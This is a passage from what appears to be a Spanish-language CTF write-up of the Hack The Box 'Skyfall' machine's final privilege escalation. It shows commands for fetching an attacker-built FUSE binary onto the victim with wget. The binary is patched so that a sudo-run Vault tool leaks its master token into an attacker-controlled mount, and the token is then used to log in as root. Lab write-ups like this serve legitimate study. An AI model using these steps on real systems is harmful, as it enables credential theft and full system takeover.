# This option must appear on a line by itself. There is no value, just the
# presence of the option.
user_allow_other
# mount_max = n - this option sets the maximum number of mounts.
# Currently (2014) it must be typed exactly as shown
# (with a single space before and after the equals sign).
#mount_max = 1000
donde la opción/línea user_allow_other
no está comentada (lo que significa que está habilitada), permitiendo a otros usuarios escribir a nuestro sistema de archivos.
Ahora, podríamos ver muchas maneras de cómo usar FUSE
, pero la manera más “a la segura” es usar binarios estáticos. Por ejemplo, si usamos binarios estáticos compilados en lenguajes de programación C
o Go
, si corre en nuestro sistema y no tiene dependencia de librerías, debería de correr tanto en nuestra máquina de atacante como en otras máquinas corriendo Linux
como la máquina víctima. Es así como encontramos go-fuse
(el cual puede ser descargado desde su repositorio Github). Más específicamente, si vamos a la carpeta example
folder y luego a memfs
, éste nos permitirá crear archivos en memoria en el sistema.
Para esto descargamos/clonamos el repositorio, vamos a su directorio example/memfs
y compilamos/construímos el binario:
❯ git clone https://github.com/hanwen/go-fuse.git
Cloning into 'go-fuse'...
remote: Enumerating objects: 13206, done.
remote: Counting objects: 100% (3712/3712), done.
remote: Compressing objects: 100% (764/764), done.
remote: Total 13206 (delta 3186), reused 3000 (delta 2946), pack-reused 9494 (from 1)
Receiving objects: 100% (13206/13206), 3.92 MiB | 7.17 MiB/s, done.
Resolving deltas: 100% (8759/8759), done.
❯ cd go-fuse/example/memfs
❯ ls -la
total 12
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x 4096 Aug 31 20:01 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 957 Aug 31 20:01 main.go
❯ go build
go: downloading golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a
❯ ls -la
total 3216
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x 4096 Aug 31 20:01 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 957 Aug 31 20:01 main.go
-rwxrwxr-x 1 gunzf0x gunzf0x 3280265 Aug 31 20:01 memfs
Empezamos un servidor temporal Python
HTTP
en el puerto 8080
donde está ubicado el binario compilado:
❯ ls -la && python3 -m http.server 8080
total 3216
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x 4096 Aug 31 20:01 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 957 Aug 31 20:01 main.go
-rwxrwxr-x 1 gunzf0x gunzf0x 3280265 Aug 31 20:01 memfs
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
y lo descargamos en la máquina víctima usando wget
:
askyy@skyfall:~$ wget http://10.10.16.3:8080/memfs -O /dev/shm/memfs
Connecting to 10.10.16.3:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3280265 (3.1M) [application/octet-stream]
Saving to: ‘/dev/shm/memfs’
/dev/shm/memfs 100%[=======================================================================================>] 3.13M 722KB/s in 7.6s
askyy@skyfall:~$ chmod +x /dev/shm/memfs
Vamos al directorio donde está el binario, creamos un directorio (llamado output
) donde realizaremos la montura y lo corremos. En mi caso todo será guardado en un archivo llamado test
:
askyy@skyfall:~$ cd /dev/shm
askyy@skyfall:/dev/shm$ ./memfs
usage: main MOUNTPOINT BACKING-PREFIX
askyy@skyfall:/dev/shm$ mkdir output
askyy@skyfall:/dev/shm$ ./memfs output test
Mounted!
Ahora, logueamos en otra sesión de SSH
con el truco que habíamos mostrado previamente, entramos al directorio donde está ubicado output
y corremos el comando con sudo
:
askyy@skyfall:/dev/shm/output$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
2024/09/01 01:04:22 open debug.log: permission denied
Tenemos un error de permisos. Esto es gracias a que nuestra aplicación (el binario compilado memfs
) no está dejando a otros usuarios escribir en nuestra montura.
De manera que debemos de modificar el código fuente de memfs
para permitirlo. Antes de ello, recordar que debemos “desmontar” (unmount) corriendo fusermount
(además, recordar irnos/salir del directorio output
en todas las sesiones que estén ubicadas dentro del directorio output
, de otra manera esto nos entregará un error fusermount: failed to unmount /dev/shm/output: Device or resource busy
):
askyy@skyfall:/dev/shm$ fusermount -u output
Si leemos el código fuente de main.go
de example/memfs
del repositorio go-fuse
tenemos:
// Copyright 2016 the Go-FUSE Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Mounts MemNodeFs for testing purposes.
package main
import (
"flag"
"fmt"
"os"
"github.com/hanwen/go-fuse/v2/fuse"
"github.com/hanwen/go-fuse/v2/fuse/nodefs"
)
func main() {
// Scans the arg list and sets up flags
debug := flag.Bool("debug", false, "print debugging messages.")
flag.Parse()
if flag.NArg() < 2 {
// TODO - where to get program name?
fmt.Println("usage: main MOUNTPOINT BACKING-PREFIX")
os.Exit(2)
}
mountPoint := flag.Arg(0)
prefix := flag.Arg(1)
root := nodefs.NewMemNodeFSRoot(prefix)
conn := nodefs.NewFileSystemConnector(root, nil)
server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
Debug: *debug,
})
if err != nil {
fmt.Printf("Mount fail: %v\n", err)
os.Exit(1)
}
fmt.Println("Mounted!")
server.Serve()
}
En las opciones de variable puedo ver fuse.MountOptions
. Si chequeamos el código de la librería fuse
que está siendo llamado (fuse/api.go
) tenemos:
<SNIP>
type MountOptions struct {
AllowOther bool
// Options are passed as -o string to fusermount.
Options []string
// Default is _DEFAULT_BACKGROUND_TASKS, 12. This numbers
// controls the allowed number of requests that relate to
// async I/O. Concurrency for synchronous I/O is not limited.
MaxBackground int
<SNIP>
donde puedo ver la variable AllowOther
, la cual es una variable de tipo booleano. De manera que agregamos esta variable en el código para que sea true
. Por tanto, el código fuente de main.go
ahora es:
// Copyright 2016 the Go-FUSE Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Mounts MemNodeFs for testing purposes.
package main
import (
"flag"
"fmt"
"os"
"github.com/hanwen/go-fuse/v2/fuse"
"github.com/hanwen/go-fuse/v2/fuse/nodefs"
)
func main() {
// Scans the arg list and sets up flags
debug := flag.Bool("debug", false, "print debugging messages.")
flag.Parse()
if flag.NArg() < 2 {
// TODO - where to get program name?
fmt.Println("usage: main MOUNTPOINT BACKING-PREFIX")
os.Exit(2)
}
mountPoint := flag.Arg(0)
prefix := flag.Arg(1)
root := nodefs.NewMemNodeFSRoot(prefix)
conn := nodefs.NewFileSystemConnector(root, nil)
server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
Debug: *debug,
AllowOther: true, // LINEA MODIFICADA
})
if err != nil {
fmt.Printf("Mount fail: %v\n", err)
os.Exit(1)
}
fmt.Println("Mounted!")
server.Serve()
}
y lo construímos/compilamos:
❯ go build -o memfs_modified
Repetimos los pasos para transferir el archivo, le asignamos permisos de ejecución y volvemos a correr el binario modificado en la máquina víctima:
askyy@skyfall:/dev/shm$ ./memfs_modified
usage: main MOUNTPOINT BACKING-PREFIX
askyy@skyfall:/dev/shm$ ./memfs_modified output/ test
Mounted!
y en la otra terminal/sesión entramos al directorio output
y corremos el comando con sudo
:
askyy@skyfall:/dev/shm$ cd output
askyy@skyfall:/dev/shm/output$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
Ahora tenemos nuevos archivos:
askyy@skyfall:/dev/shm$ ls
memfs memfs_modified output test1
Podemos leer el contenido de test1
, el cual debería de contener el mismo contenido del archivo debug.log
:
askyy@skyfall:/dev/shm$ cat test1
2024/09/01 01:23:21 Initializing logger...
2024/09/01 01:23:21 Reading: /etc/vault-unseal.yaml
2024/09/01 01:23:21 Security Risk!
2024/09/01 01:23:21 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/09/01 01:23:21 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/09/01 01:23:21 Check interval: 5s
2024/09/01 01:23:21 Max checks: 5
2024/09/01 01:23:21 Establishing connection to Vault...
2024/09/01 01:23:21 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/09/01 01:23:21 Checking seal status
2024/09/01 01:23:21 Vault sealed: false
Donde puedo un nuevo VAULT_TOKEN
con valor hvs.I0ewVsmaKU1SwVZAKR3T0mmG
.
Recuerdo que teníamos una llave admin_otp_key_role
la primera vez que nos tratamos de loguear por SSH
y se nos denegó el acceso. ¿Qué tal si actualizamos los parámetros y tratamos de loguearnos con este nuevo token? Dado que es un token con nombre “admin”, podríamos tratar de utilizarlo para loguearnos como root
:
❯ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"
❯ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"
❯ export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
Y, finalmente, tratamos de conectarnos via SSH
como el usuario root
:
❯ ./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Mar 27 13:20:05 2024 from 10.10.14.46
root@skyfall:~# whoami
root
¡Funcionó! Podemos leer la flag del usuario root en el directorio /root
. GG.
~Happy Hacking